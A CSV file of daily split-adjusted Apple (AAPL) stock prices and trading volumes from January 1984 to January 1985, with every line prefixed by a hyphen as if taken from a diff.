-1984-01-26,0.4821428656578064,0.5,0.4821428656578064,0.4933035671710968,0.39179161190986633,42123200.0,AAPL
-1984-01-27,0.4933035671710968,0.4955357015132904,0.4575892984867096,0.4665178656578064,0.3705179691314697,48524000.0,AAPL
-1984-01-30,0.4665178656578064,0.4754464328289032,0.4308035671710968,0.4419642984867096,0.35101693868637085,69367200.0,AAPL
-1984-01-31,0.4419642984867096,0.4508928656578064,0.4129464328289032,0.4419642984867096,0.35101693868637085,86273600.0,AAPL
-1984-02-01,0.4419642984867096,0.4553571343421936,0.4375,0.4397321343421936,0.34924399852752686,40779200.0,AAPL
-1984-02-02,0.4397321343421936,0.4464285671710968,0.4308035671710968,0.4441964328289032,0.3527897894382477,33728800.0,AAPL
-1984-02-03,0.4441964328289032,0.4553571343421936,0.4375,0.4375,0.34747135639190674,36372000.0,AAPL
-1984-02-06,0.4375,0.4375,0.4129464328289032,0.4151785671710968,0.3297431766986847,41389600.0,AAPL
-1984-02-07,0.4151785671710968,0.4330357015132904,0.3995535671710968,0.4308035671710968,0.3421529233455658,54432000.0,AAPL
-1984-02-08,0.4308035671710968,0.4375,0.4151785671710968,0.4151785671710968,0.3297431766986847,37055200.0,AAPL
-1984-02-09,0.4151785671710968,0.4308035671710968,0.4040178656578064,0.421875,0.33506160974502563,58699200.0,AAPL
-1984-02-10,0.421875,0.4464285671710968,0.421875,0.4352678656578064,0.3456985056400299,35991200.0,AAPL
-1984-02-13,0.4352678656578064,0.4397321343421936,0.4263392984867096,0.4330357015132904,0.3439256548881531,26432000.0,AAPL
-1984-02-14,0.4330357015132904,0.4598214328289032,0.4330357015132904,0.4575892984867096,0.3634265065193176,52264800.0,AAPL
-1984-02-15,0.4575892984867096,0.4776785671710968,0.4441964328289032,0.4486607015132904,0.35633549094200134,50209600.0,AAPL
-1984-02-16,0.4486607015132904,0.4553571343421936,0.4375,0.453125,0.35988089442253113,26308800.0,AAPL
-1984-02-17,0.453125,0.4642857015132904,0.4464285671710968,0.4464285671710968,0.3545624911785126,33661600.0,AAPL
-1984-02-21,0.4464285671710968,0.46875,0.4441964328289032,0.4665178656578064,0.3705179691314697,30072000.0,AAPL
-1984-02-22,0.46875,0.4933035671710968,0.46875,0.4888392984867096,0.3882460296154022,55843200.0,AAPL
-1984-02-23,0.4888392984867096,0.4888392984867096,0.4642857015132904,0.4799107015132904,0.3811548054218292,38763200.0,AAPL
-1984-02-24,0.4799107015132904,0.4910714328289032,0.4799107015132904,0.484375,0.38470029830932617,19454400.0,AAPL
-1984-02-27,0.484375,0.4910714328289032,0.4709821343421936,0.4821428656578064,0.38292765617370605,30391200.0,AAPL
-1984-02-28,0.4821428656578064,0.484375,0.4486607015132904,0.4553571343421936,0.3616538643836975,42481600.0,AAPL
-1984-02-29,0.4553571343421936,0.4799107015132904,0.4508928656578064,0.46875,0.3722907602787018,33510400.0,AAPL
-1984-03-01,0.46875,0.484375,0.4575892984867096,0.4821428656578064,0.38292765617370605,33090400.0,AAPL
-1984-03-02,0.4821428656578064,0.5,0.4799107015132904,0.4866071343421936,0.3864732086658478,47812800.0,AAPL
-1984-03-05,0.4866071343421936,0.4888392984867096,0.4709821343421936,0.4776785671710968,0.37938192486763,18401600.0,AAPL
-1984-03-06,0.4776785671710968,0.4866071343421936,0.4575892984867096,0.4598214328289032,0.3651994466781616,24746400.0,AAPL
-1984-03-07,0.4598214328289032,0.4754464328289032,0.4486607015132904,0.4732142984867096,0.3758363425731659,24141600.0,AAPL
-1984-03-08,0.4732142984867096,0.484375,0.4732142984867096,0.4799107015132904,0.3811548054218292,32446400.0,AAPL
-1984-03-09,0.4799107015132904,0.4799107015132904,0.46875,0.4709821343421936,0.37406352162361145,16514400.0,AAPL
-1984-03-12,0.4732142984867096,0.4910714328289032,0.4732142984867096,0.4888392984867096,0.3882460296154022,31259200.0,AAPL
-1984-03-13,0.4888392984867096,0.4955357015132904,0.4776785671710968,0.4821428656578064,0.38292765617370605,38220000.0,AAPL
-1984-03-14,0.4821428656578064,0.484375,0.4732142984867096,0.4754464328289032,0.37760916352272034,14901600.0,AAPL
-1984-03-15,0.4754464328289032,0.4821428656578064,0.4709821343421936,0.4776785671710968,0.37938192486763,13820800.0,AAPL
-1984-03-16,0.4776785671710968,0.4955357015132904,0.4709821343421936,0.4754464328289032,0.37760916352272034,31175200.0,AAPL
-1984-03-19,0.4732142984867096,0.4732142984867096,0.4620535671710968,0.46875,0.3722907602787018,20647200.0,AAPL
-1984-03-20,0.46875,0.4776785671710968,0.4486607015132904,0.4642857015132904,0.3687450587749481,25132800.0,AAPL
-1984-03-21,0.4642857015132904,0.4754464328289032,0.4620535671710968,0.4642857015132904,0.3687450587749481,11916800.0,AAPL
-1984-03-22,0.4642857015132904,0.4642857015132904,0.4486607015132904,0.4553571343421936,0.3616538643836975,12796000.0,AAPL
-1984-03-23,0.4553571343421936,0.4598214328289032,0.4464285671710968,0.4553571343421936,0.3616538643836975,15282400.0,AAPL
-1984-03-26,0.4553571343421936,0.4665178656578064,0.4508928656578064,0.4598214328289032,0.3651994466781616,14240800.0,AAPL
-1984-03-27,0.4598214328289032,0.4620535671710968,0.4441964328289032,0.4464285671710968,0.3545624911785126,24824800.0,AAPL
-1984-03-28,0.4486607015132904,0.4575892984867096,0.4486607015132904,0.4553571343421936,0.3616538643836975,18872000.0,AAPL
-1984-03-29,0.4553571343421936,0.4598214328289032,0.4508928656578064,0.453125,0.35988089442253113,9794400.0,AAPL
-1984-03-30,0.453125,0.4553571343421936,0.4375,0.4419642984867096,0.35101693868637085,11435200.0,AAPL
-1984-04-02,0.4419642984867096,0.4508928656578064,0.4375,0.4441964328289032,0.3527897894382477,13664000.0,AAPL
-1984-04-03,0.4441964328289032,0.4486607015132904,0.4397321343421936,0.4464285671710968,0.3545624911785126,11026400.0,AAPL
-1984-04-04,0.4464285671710968,0.4486607015132904,0.4375,0.4375,0.34747135639190674,26919200.0,AAPL
-1984-04-05,0.4375,0.4441964328289032,0.4308035671710968,0.4308035671710968,0.3421529233455658,20703200.0,AAPL
-1984-04-06,0.4308035671710968,0.4352678656578064,0.4107142984867096,0.4196428656578064,0.3332887589931488,21397600.0,AAPL
-1984-04-09,0.4196428656578064,0.4330357015132904,0.4196428656578064,0.4196428656578064,0.3332887589931488,13563200.0,AAPL
-1984-04-10,0.4285714328289032,0.4419642984867096,0.4285714328289032,0.4419642984867096,0.35101693868637085,14274400.0,AAPL
-1984-04-11,0.4419642984867096,0.453125,0.4330357015132904,0.4375,0.34747135639190674,17651200.0,AAPL
-1984-04-12,0.4375,0.4642857015132904,0.4308035671710968,0.4598214328289032,0.3651994466781616,19600000.0,AAPL
-1984-04-13,0.4598214328289032,0.4709821343421936,0.4553571343421936,0.4598214328289032,0.3651994466781616,25849600.0,AAPL
-1984-04-16,0.4598214328289032,0.4709821343421936,0.4486607015132904,0.46875,0.3722907602787018,17029600.0,AAPL
-1984-04-17,0.4776785671710968,0.4977678656578064,0.4776785671710968,0.4910714328289032,0.39001888036727905,83238400.0,AAPL
-1984-04-18,0.4910714328289032,0.5022321343421936,0.4888392984867096,0.5,0.39711010456085205,49918400.0,AAPL
-1984-04-19,0.5,0.5066964030265808,0.4955357015132904,0.5044642686843872,0.40065574645996094,30850400.0,AAPL
-1984-04-23,0.5044642686843872,0.5200892686843872,0.5,0.5066964030265808,0.402428537607193,73466400.0,AAPL
-1984-04-24,0.5066964030265808,0.515625,0.4955357015132904,0.4977678656578064,0.39533722400665283,70392000.0,AAPL
-1984-04-25,0.4977678656578064,0.5022321343421936,0.4888392984867096,0.4933035671710968,0.39179161190986633,48720000.0,AAPL
-1984-04-26,0.4955357015132904,0.5334821343421936,0.4955357015132904,0.53125,0.4219294488430023,79626400.0,AAPL
-1984-04-27,0.53125,0.5491071343421936,0.5223214030265808,0.5379464030265808,0.4272479712963104,92999200.0,AAPL
-1984-04-30,0.5379464030265808,0.5602678656578064,0.5334821343421936,0.5602678656578064,0.44497600197792053,73287200.0,AAPL
-1984-05-01,0.5669642686843872,0.59375,0.5669642686843872,0.59375,0.4715679883956909,101628800.0,AAPL
-1984-05-02,0.59375,0.5982142686843872,0.578125,0.5892857313156128,0.46802276372909546,79329600.0,AAPL
-1984-05-03,0.5892857313156128,0.5892857313156128,0.5535714030265808,0.5647321343421936,0.4485216736793518,81855200.0,AAPL
-1984-05-04,0.5647321343421936,0.5647321343421936,0.5357142686843872,0.5379464030265808,0.4272479712963104,65111200.0,AAPL
-1984-05-07,0.5379464030265808,0.5602678656578064,0.5334821343421936,0.5558035969734192,0.4414304792881012,40017600.0,AAPL
-1984-05-08,0.5580357313156128,0.5915178656578064,0.5580357313156128,0.5870535969734192,0.46624982357025146,63750400.0,AAPL
-1984-05-09,0.5870535969734192,0.6138392686843872,0.5803571343421936,0.5915178656578064,0.469795286655426,101253600.0,AAPL
-1984-05-10,0.5915178656578064,0.6004464030265808,0.5758928656578064,0.5915178656578064,0.469795286655426,59656800.0,AAPL
-1984-05-11,0.5915178656578064,0.59375,0.5535714030265808,0.5758928656578064,0.4573856592178345,49431200.0,AAPL
-1984-05-14,0.5736607313156128,0.5736607313156128,0.5580357313156128,0.5647321343421936,0.4485216736793518,22321600.0,AAPL
-1984-05-15,0.5647321343421936,0.5736607313156128,0.5625,0.5691964030265808,0.4520672559738159,25676000.0,AAPL
-1984-05-16,0.5691964030265808,0.5736607313156128,0.5424107313156128,0.5446428656578064,0.4325663149356842,54930400.0,AAPL
-1984-05-17,0.5446428656578064,0.5446428656578064,0.5133928656578064,0.5200892686843872,0.4130654036998749,70487200.0,AAPL
-1984-05-18,0.5200892686843872,0.5334821343421936,0.5133928656578064,0.53125,0.4219294488430023,48367200.0,AAPL
-1984-05-21,0.53125,0.5758928656578064,0.5290178656578064,0.5691964030265808,0.4520672559738159,108763200.0,AAPL
-1984-05-22,0.5691964030265808,0.5691964030265808,0.5357142686843872,0.5513392686843872,0.43788468837738037,75314400.0,AAPL
-1984-05-23,0.5513392686843872,0.5558035969734192,0.5401785969734192,0.5401785969734192,0.42902064323425293,42240800.0,AAPL
-1984-05-24,0.5401785969734192,0.5401785969734192,0.515625,0.5245535969734192,0.4166109561920166,48328000.0,AAPL
-1984-05-25,0.5245535969734192,0.5334821343421936,0.5200892686843872,0.5267857313156128,0.41838377714157104,30027200.0,AAPL
-1984-05-29,0.5267857313156128,0.53125,0.515625,0.5245535969734192,0.4166109561920166,39065600.0,AAPL
-1984-05-30,0.5245535969734192,0.5267857313156128,0.5,0.5178571343421936,0.4112926721572876,79609600.0,AAPL
-1984-05-31,0.5178571343421936,0.53125,0.5133928656578064,0.5245535969734192,0.4166109561920166,41753600.0,AAPL
-1984-06-01,0.5245535969734192,0.5424107313156128,0.5223214030265808,0.5424107313156128,0.4307937026023865,60575200.0,AAPL
-1984-06-04,0.5424107313156128,0.5491071343421936,0.5245535969734192,0.5290178656578064,0.4201566278934479,37072000.0,AAPL
-1984-06-05,0.5200892686843872,0.5200892686843872,0.4955357015132904,0.4977678656578064,0.39533722400665283,82107200.0,AAPL
-1984-06-06,0.4977678656578064,0.5200892686843872,0.4955357015132904,0.5178571343421936,0.4112926721572876,40364800.0,AAPL
-1984-06-07,0.5178571343421936,0.5200892686843872,0.5022321343421936,0.5133928656578064,0.4077470302581787,25636800.0,AAPL
-1984-06-08,0.5133928656578064,0.515625,0.5,0.5111607313156128,0.40597423911094666,27244000.0,AAPL
-1984-06-11,0.5111607313156128,0.515625,0.5044642686843872,0.5111607313156128,0.40597423911094666,21061600.0,AAPL
-1984-06-12,0.5111607313156128,0.5267857313156128,0.5089285969734192,0.5200892686843872,0.4130654036998749,29282400.0,AAPL
-1984-06-13,0.5223214030265808,0.5334821343421936,0.5223214030265808,0.53125,0.4219294488430023,28929600.0,AAPL
-1984-06-14,0.53125,0.53125,0.5133928656578064,0.515625,0.4095197916030884,25239200.0,AAPL
-1984-06-15,0.515625,0.5245535969734192,0.515625,0.5178571343421936,0.4112926721572876,22444800.0,AAPL
-1984-06-18,0.5178571343421936,0.53125,0.5066964030265808,0.5290178656578064,0.4201566278934479,28649600.0,AAPL
-1984-06-19,0.5290178656578064,0.5424107313156128,0.5245535969734192,0.5245535969734192,0.4166109561920166,40236000.0,AAPL
-1984-06-20,0.5245535969734192,0.5401785969734192,0.5133928656578064,0.5401785969734192,0.42902064323425293,29881600.0,AAPL
-1984-06-21,0.5401785969734192,0.546875,0.5178571343421936,0.5178571343421936,0.4112926721572876,35476000.0,AAPL
-1984-06-22,0.5178571343421936,0.5267857313156128,0.5111607313156128,0.5111607313156128,0.40597423911094666,21151200.0,AAPL
-1984-06-25,0.5111607313156128,0.515625,0.4821428656578064,0.4866071343421936,0.3864732086658478,41871200.0,AAPL
-1984-06-26,0.4866071343421936,0.4888392984867096,0.4642857015132904,0.4642857015132904,0.3687450587749481,37161600.0,AAPL
-1984-06-27,0.4642857015132904,0.46875,0.4330357015132904,0.4508928656578064,0.3581082224845886,94320800.0,AAPL
-1984-06-28,0.4508928656578064,0.4776785671710968,0.4508928656578064,0.4709821343421936,0.37406352162361145,29579200.0,AAPL
-1984-06-29,0.4709821343421936,0.4955357015132904,0.4709821343421936,0.4732142984867096,0.3758363425731659,35498400.0,AAPL
-1984-07-02,0.4732142984867096,0.4754464328289032,0.4486607015132904,0.4575892984867096,0.3634265065193176,39916800.0,AAPL
-1984-07-03,0.4575892984867096,0.4598214328289032,0.4441964328289032,0.4508928656578064,0.3581082224845886,44766400.0,AAPL
-1984-07-05,0.4508928656578064,0.4553571343421936,0.4352678656578064,0.4419642984867096,0.35101693868637085,23296000.0,AAPL
-1984-07-06,0.4419642984867096,0.4553571343421936,0.4330357015132904,0.4486607015132904,0.35633549094200134,23912000.0,AAPL
-1984-07-09,0.4486607015132904,0.4709821343421936,0.4419642984867096,0.46875,0.3722907602787018,47667200.0,AAPL
-1984-07-10,0.46875,0.484375,0.4665178656578064,0.4799107015132904,0.3811548054218292,43075200.0,AAPL
-1984-07-11,0.4799107015132904,0.4866071343421936,0.4665178656578064,0.4732142984867096,0.3758363425731659,30273600.0,AAPL
-1984-07-12,0.4732142984867096,0.484375,0.4709821343421936,0.4754464328289032,0.37760916352272034,42173600.0,AAPL
-1984-07-13,0.4754464328289032,0.484375,0.4642857015132904,0.4709821343421936,0.37406352162361145,33986400.0,AAPL
-1984-07-16,0.4709821343421936,0.4709821343421936,0.4464285671710968,0.4598214328289032,0.3651994466781616,50747200.0,AAPL
-1984-07-17,0.4598214328289032,0.4642857015132904,0.453125,0.4598214328289032,0.3651994466781616,21212800.0,AAPL
-1984-07-18,0.4598214328289032,0.4620535671710968,0.4508928656578064,0.453125,0.35988089442253113,26006400.0,AAPL
-1984-07-19,0.453125,0.4598214328289032,0.4486607015132904,0.453125,0.35988089442253113,19476800.0,AAPL
-1984-07-20,0.453125,0.4598214328289032,0.4508928656578064,0.453125,0.35988089442253113,8293600.0,AAPL
-1984-07-23,0.453125,0.453125,0.4375,0.4486607015132904,0.35633549094200134,23508800.0,AAPL
-1984-07-24,0.4486607015132904,0.4821428656578064,0.4464285671710968,0.4754464328289032,0.37760916352272034,44811200.0,AAPL
-1984-07-25,0.4776785671710968,0.4888392984867096,0.4776785671710968,0.4776785671710968,0.37938192486763,50114400.0,AAPL
-1984-07-26,0.4776785671710968,0.4933035671710968,0.4732142984867096,0.4866071343421936,0.3864732086658478,35834400.0,AAPL
-1984-07-27,0.4866071343421936,0.4910714328289032,0.4821428656578064,0.484375,0.38470029830932617,18485600.0,AAPL
-1984-07-30,0.484375,0.4866071343421936,0.4508928656578064,0.4553571343421936,0.3616538643836975,31259200.0,AAPL
-1984-07-31,0.4553571343421936,0.4620535671710968,0.4441964328289032,0.4553571343421936,0.3616538643836975,49907200.0,AAPL
-1984-08-01,0.4553571343421936,0.4598214328289032,0.4330357015132904,0.4464285671710968,0.3545624911785126,71433600.0,AAPL
-1984-08-02,0.4464285671710968,0.453125,0.4308035671710968,0.4308035671710968,0.3421529233455658,75919200.0,AAPL
-1984-08-03,0.4308035671710968,0.4910714328289032,0.4285714328289032,0.4888392984867096,0.3882460296154022,154515200.0,AAPL
-1984-08-06,0.4888392984867096,0.5446428656578064,0.4866071343421936,0.5223214030265808,0.4148382544517517,156699200.0,AAPL
-1984-08-07,0.5223214030265808,0.5357142686843872,0.4977678656578064,0.5290178656578064,0.4201566278934479,83120800.0,AAPL
-1984-08-08,0.5290178656578064,0.5401785969734192,0.5044642686843872,0.5089285969734192,0.4042012393474579,73600800.0,AAPL
-1984-08-09,0.5089285969734192,0.5357142686843872,0.4977678656578064,0.53125,0.4219294488430023,64405600.0,AAPL
-1984-08-10,0.53125,0.5513392686843872,0.5066964030265808,0.5089285969734192,0.4042012393474579,99344000.0,AAPL
-1984-08-13,0.5089285969734192,0.5401785969734192,0.5022321343421936,0.5357142686843872,0.4254750907421112,60362400.0,AAPL
-1984-08-14,0.5357142686843872,0.5401785969734192,0.5089285969734192,0.515625,0.4095197916030884,43517600.0,AAPL
-1984-08-15,0.5133928656578064,0.5133928656578064,0.4933035671710968,0.4977678656578064,0.39533722400665283,44721600.0,AAPL
-1984-08-16,0.4977678656578064,0.5066964030265808,0.4910714328289032,0.5022321343421936,0.3988828659057617,36204000.0,AAPL
-1984-08-17,0.5022321343421936,0.5044642686843872,0.484375,0.4910714328289032,0.39001888036727905,38483200.0,AAPL
-1984-08-20,0.4910714328289032,0.4933035671710968,0.4754464328289032,0.4888392984867096,0.3882460296154022,34613600.0,AAPL
-1984-08-21,0.4888392984867096,0.5133928656578064,0.4888392984867096,0.5089285969734192,0.4042012393474579,44884000.0,AAPL
-1984-08-22,0.5089285969734192,0.5223214030265808,0.4955357015132904,0.5,0.39711010456085205,55104000.0,AAPL
-1984-08-23,0.5,0.5111607313156128,0.5,0.5022321343421936,0.3988828659057617,20854400.0,AAPL
-1984-08-24,0.5022321343421936,0.5089285969734192,0.4977678656578064,0.5022321343421936,0.3988828659057617,17724000.0,AAPL
-1984-08-27,0.5022321343421936,0.5022321343421936,0.4888392984867096,0.4977678656578064,0.39533722400665283,21918400.0,AAPL
-1984-08-28,0.4977678656578064,0.5044642686843872,0.4933035671710968,0.5044642686843872,0.40065574645996094,14789600.0,AAPL
-1984-08-29,0.5044642686843872,0.5066964030265808,0.4866071343421936,0.4910714328289032,0.39001888036727905,18530400.0,AAPL
-1984-08-30,0.4910714328289032,0.4977678656578064,0.4821428656578064,0.4821428656578064,0.38292765617370605,12740000.0,AAPL
-1984-08-31,0.4821428656578064,0.484375,0.4665178656578064,0.4732142984867096,0.3758363425731659,34462400.0,AAPL
-1984-09-04,0.4732142984867096,0.4776785671710968,0.4642857015132904,0.46875,0.3722907602787018,29960000.0,AAPL
-1984-09-05,0.46875,0.4754464328289032,0.4642857015132904,0.46875,0.3722907602787018,25939200.0,AAPL
-1984-09-06,0.46875,0.4799107015132904,0.46875,0.4732142984867096,0.3758363425731659,32743200.0,AAPL
-1984-09-07,0.4732142984867096,0.4799107015132904,0.46875,0.4732142984867096,0.3758363425731659,20815200.0,AAPL
-1984-09-10,0.4732142984867096,0.4754464328289032,0.4620535671710968,0.4709821343421936,0.37406352162361145,16156000.0,AAPL
-1984-09-11,0.4754464328289032,0.4888392984867096,0.4754464328289032,0.4799107015132904,0.3811548054218292,38096800.0,AAPL
-1984-09-12,0.4799107015132904,0.4821428656578064,0.4665178656578064,0.4665178656578064,0.3705179691314697,33280800.0,AAPL
-1984-09-13,0.4910714328289032,0.4933035671710968,0.4910714328289032,0.4910714328289032,0.39001888036727905,51833600.0,AAPL
-1984-09-14,0.4933035671710968,0.5089285969734192,0.4933035671710968,0.4977678656578064,0.39533722400665283,61717600.0,AAPL
-1984-09-17,0.5111607313156128,0.5178571343421936,0.5111607313156128,0.5111607313156128,0.40597423911094666,48188000.0,AAPL
-1984-09-18,0.5111607313156128,0.515625,0.4933035671710968,0.4933035671710968,0.39179161190986633,24326400.0,AAPL
-1984-09-19,0.4933035671710968,0.4977678656578064,0.4821428656578064,0.4821428656578064,0.38292765617370605,26572000.0,AAPL
-1984-09-20,0.484375,0.4888392984867096,0.484375,0.484375,0.38470029830932617,16542400.0,AAPL
-1984-09-21,0.484375,0.4977678656578064,0.4732142984867096,0.4799107015132904,0.3811548054218292,24959200.0,AAPL
-1984-09-24,0.4799107015132904,0.4821428656578064,0.4754464328289032,0.4754464328289032,0.37760916352272034,19751200.0,AAPL
-1984-09-25,0.4732142984867096,0.4732142984867096,0.4665178656578064,0.4665178656578064,0.3705179691314697,41697600.0,AAPL
-1984-09-26,0.4665178656578064,0.4866071343421936,0.4598214328289032,0.4598214328289032,0.3651994466781616,27742400.0,AAPL
-1984-09-27,0.4598214328289032,0.4620535671710968,0.4598214328289032,0.4598214328289032,0.3651994466781616,26482400.0,AAPL
-1984-09-28,0.4598214328289032,0.4598214328289032,0.4397321343421936,0.4486607015132904,0.35633549094200134,58352000.0,AAPL
-1984-10-01,0.4464285671710968,0.4464285671710968,0.4375,0.4375,0.34747135639190674,24444000.0,AAPL
-1984-10-02,0.4419642984867096,0.4575892984867096,0.4419642984867096,0.4419642984867096,0.35101693868637085,29562400.0,AAPL
-1984-10-03,0.4486607015132904,0.4553571343421936,0.4486607015132904,0.4486607015132904,0.35633549094200134,30105600.0,AAPL
-1984-10-04,0.453125,0.4575892984867096,0.453125,0.453125,0.35988089442253113,31371200.0,AAPL
-1984-10-05,0.453125,0.453125,0.4419642984867096,0.4441964328289032,0.3527897894382477,24393600.0,AAPL
-1984-10-08,0.4441964328289032,0.4464285671710968,0.4441964328289032,0.4441964328289032,0.3527897894382477,11743200.0,AAPL
-1984-10-09,0.4441964328289032,0.4464285671710968,0.4397321343421936,0.4397321343421936,0.34924399852752686,31315200.0,AAPL
-1984-10-10,0.4397321343421936,0.4397321343421936,0.4263392984867096,0.4263392984867096,0.3386072516441345,91212800.0,AAPL
-1984-10-11,0.4263392984867096,0.4375,0.4241071343421936,0.4241071343421936,0.33683446049690247,45690400.0,AAPL
-1984-10-12,0.4241071343421936,0.4263392984867096,0.4017857015132904,0.40625,0.3226518929004669,66449600.0,AAPL
-1984-10-15,0.4285714328289032,0.4330357015132904,0.4285714328289032,0.4285714328289032,0.3403799831867218,60816000.0,AAPL
-1984-10-16,0.4285714328289032,0.4308035671710968,0.4263392984867096,0.4263392984867096,0.3386072516441345,29506400.0,AAPL
-1984-10-17,0.4441964328289032,0.4464285671710968,0.4441964328289032,0.4441964328289032,0.3527897894382477,39160800.0,AAPL
-1984-10-18,0.4575892984867096,0.4598214328289032,0.4575892984867096,0.4575892984867096,0.3634265065193176,61790400.0,AAPL
-1984-10-19,0.4575892984867096,0.4888392984867096,0.4553571343421936,0.4575892984867096,0.3634265065193176,81530400.0,AAPL
-1984-10-22,0.4575892984867096,0.4642857015132904,0.453125,0.453125,0.35988089442253113,28688800.0,AAPL
-1984-10-23,0.4642857015132904,0.46875,0.4642857015132904,0.4642857015132904,0.3687450587749481,46608800.0,AAPL
-1984-10-24,0.46875,0.4732142984867096,0.46875,0.46875,0.3722907602787018,41753600.0,AAPL
-1984-10-25,0.46875,0.46875,0.4508928656578064,0.4508928656578064,0.3581082224845886,39541600.0,AAPL
-1984-10-26,0.4508928656578064,0.4508928656578064,0.4375,0.4397321343421936,0.34924399852752686,28711200.0,AAPL
-1984-10-29,0.4419642984867096,0.4441964328289032,0.4419642984867096,0.4419642984867096,0.35101693868637085,12661600.0,AAPL
-1984-10-30,0.4464285671710968,0.4508928656578064,0.4464285671710968,0.4464285671710968,0.3545624911785126,18648000.0,AAPL
-1984-10-31,0.4464285671710968,0.4508928656578064,0.4441964328289032,0.4441964328289032,0.3527897894382477,15058400.0,AAPL
-1984-11-01,0.4464285671710968,0.4508928656578064,0.4464285671710968,0.4464285671710968,0.3545624911785126,11760000.0,AAPL
-1984-11-02,0.4464285671710968,0.4486607015132904,0.4419642984867096,0.4441964328289032,0.3527897894382477,6921600.0,AAPL
-1984-11-05,0.4441964328289032,0.453125,0.4419642984867096,0.4419642984867096,0.35101693868637085,26342400.0,AAPL
-1984-11-06,0.46875,0.4709821343421936,0.46875,0.46875,0.3722907602787018,56330400.0,AAPL
-1984-11-07,0.46875,0.4709821343421936,0.4598214328289032,0.4598214328289032,0.3651994466781616,57887200.0,AAPL
-1984-11-08,0.4598214328289032,0.4598214328289032,0.4419642984867096,0.4419642984867096,0.35101693868637085,22030400.0,AAPL
-1984-11-09,0.4419642984867096,0.4441964328289032,0.4107142984867096,0.4151785671710968,0.3297431766986847,73533600.0,AAPL
-1984-11-12,0.4308035671710968,0.4330357015132904,0.4308035671710968,0.4308035671710968,0.3421529233455658,28313600.0,AAPL
-1984-11-13,0.4308035671710968,0.4397321343421936,0.4196428656578064,0.4196428656578064,0.3332887589931488,31668000.0,AAPL
-1984-11-14,0.4241071343421936,0.4285714328289032,0.4241071343421936,0.4241071343421936,0.33683446049690247,26084800.0,AAPL
-1984-11-15,0.4241071343421936,0.4285714328289032,0.4241071343421936,0.4241071343421936,0.33683446049690247,26650400.0,AAPL
-1984-11-16,0.4241071343421936,0.4308035671710968,0.4129464328289032,0.4151785671710968,0.3297431766986847,41440000.0,AAPL
-1984-11-19,0.4151785671710968,0.4174107015132904,0.390625,0.390625,0.31024226546287537,58245600.0,AAPL
-1984-11-20,0.4040178656578064,0.40625,0.4040178656578064,0.4040178656578064,0.32087913155555725,65811200.0,AAPL
-1984-11-21,0.4129464328289032,0.4151785671710968,0.4129464328289032,0.4129464328289032,0.32797035574913025,44682400.0,AAPL
-1984-11-23,0.4174107015132904,0.4308035671710968,0.4174107015132904,0.4241071343421936,0.33683446049690247,34272000.0,AAPL
-1984-11-26,0.4285714328289032,0.4285714328289032,0.4285714328289032,0.4285714328289032,0.3403799831867218,25160800.0,AAPL
-1984-11-27,0.4397321343421936,0.4441964328289032,0.4397321343421936,0.4397321343421936,0.34924399852752686,31852800.0,AAPL
-1984-11-28,0.4620535671710968,0.4732142984867096,0.4620535671710968,0.4620535671710968,0.3669722080230713,102631200.0,AAPL
-1984-11-29,0.4620535671710968,0.4620535671710968,0.453125,0.453125,0.35988089442253113,43719200.0,AAPL
-1984-11-30,0.453125,0.4575892984867096,0.4397321343421936,0.4419642984867096,0.35101693868637085,27176800.0,AAPL
-1984-12-03,0.4419642984867096,0.4441964328289032,0.4352678656578064,0.4352678656578064,0.3456985056400299,24500000.0,AAPL
-1984-12-04,0.4441964328289032,0.453125,0.4441964328289032,0.4441964328289032,0.3527897894382477,30094400.0,AAPL
-1984-12-05,0.4665178656578064,0.4665178656578064,0.4665178656578064,0.4665178656578064,0.3705179691314697,65727200.0,AAPL
-1984-12-06,0.4888392984867096,0.4910714328289032,0.4888392984867096,0.4888392984867096,0.3882460296154022,79318400.0,AAPL
-1984-12-07,0.4888392984867096,0.5066964030265808,0.484375,0.4866071343421936,0.3864732086658478,123631200.0,AAPL
-1984-12-10,0.4866071343421936,0.4866071343421936,0.4776785671710968,0.4776785671710968,0.37938192486763,27871200.0,AAPL
-1984-12-11,0.4776785671710968,0.484375,0.4709821343421936,0.4709821343421936,0.37406352162361145,30945600.0,AAPL
-1984-12-12,0.4709821343421936,0.4709821343421936,0.4553571343421936,0.4553571343421936,0.3616538643836975,27518400.0,AAPL
-1984-12-13,0.4598214328289032,0.46875,0.4598214328289032,0.4598214328289032,0.3651994466781616,16710400.0,AAPL
-1984-12-14,0.4598214328289032,0.4754464328289032,0.4598214328289032,0.4709821343421936,0.37406352162361145,24035200.0,AAPL
-1984-12-17,0.4821428656578064,0.4866071343421936,0.4821428656578064,0.4821428656578064,0.38292765617370605,31309600.0,AAPL
-1984-12-18,0.5111607313156128,0.5133928656578064,0.5111607313156128,0.5111607313156128,0.40597423911094666,85142400.0,AAPL
-1984-12-19,0.5111607313156128,0.5133928656578064,0.4910714328289032,0.4910714328289032,0.39001888036727905,79374400.0,AAPL
-1984-12-20,0.4910714328289032,0.5,0.4888392984867096,0.4888392984867096,0.3882460296154022,34960800.0,AAPL
-1984-12-21,0.4888392984867096,0.4910714328289032,0.4776785671710968,0.4821428656578064,0.38292765617370605,30973600.0,AAPL
-1984-12-24,0.4910714328289032,0.4933035671710968,0.4910714328289032,0.4910714328289032,0.39001888036727905,16884000.0,AAPL
-1984-12-26,0.4933035671710968,0.4977678656578064,0.4933035671710968,0.4933035671710968,0.39179161190986633,16794400.0,AAPL
-1984-12-27,0.4955357015132904,0.4977678656578064,0.4955357015132904,0.4955357015132904,0.3935643434524536,24690400.0,AAPL
-1984-12-28,0.4955357015132904,0.515625,0.4933035671710968,0.5133928656578064,0.4077470302581787,41333600.0,AAPL
-1984-12-31,0.5200892686843872,0.5223214030265808,0.5200892686843872,0.5200892686843872,0.4130654036998749,51940000.0,AAPL
-1985-01-02,0.5200892686843872,0.5200892686843872,0.4977678656578064,0.4977678656578064,0.39533722400665283,43825600.0,AAPL
-1985-01-03,0.5066964030265808,0.5200892686843872,0.5066964030265808,0.5066964030265808,0.402428537607193,41652800.0,AAPL
-1985-01-04,0.5066964030265808,0.5089285969734192,0.5,0.5066964030265808,0.402428537607193,34316800.0,AAPL
-1985-01-07,0.5066964030265808,0.5089285969734192,0.5044642686843872,0.5044642686843872,0.40065574645996094,42728000.0,AAPL
-1985-01-08,0.5044642686843872,0.5089285969734192,0.5,0.5,0.39711010456085205,35280000.0,AAPL
-1985-01-09,0.5133928656578064,0.5200892686843872,0.5133928656578064,0.5133928656578064,0.4077470302581787,41680800.0,AAPL
-1985-01-10,0.5357142686843872,0.5379464030265808,0.5357142686843872,0.5357142686843872,0.4254750907421112,69266400.0,AAPL
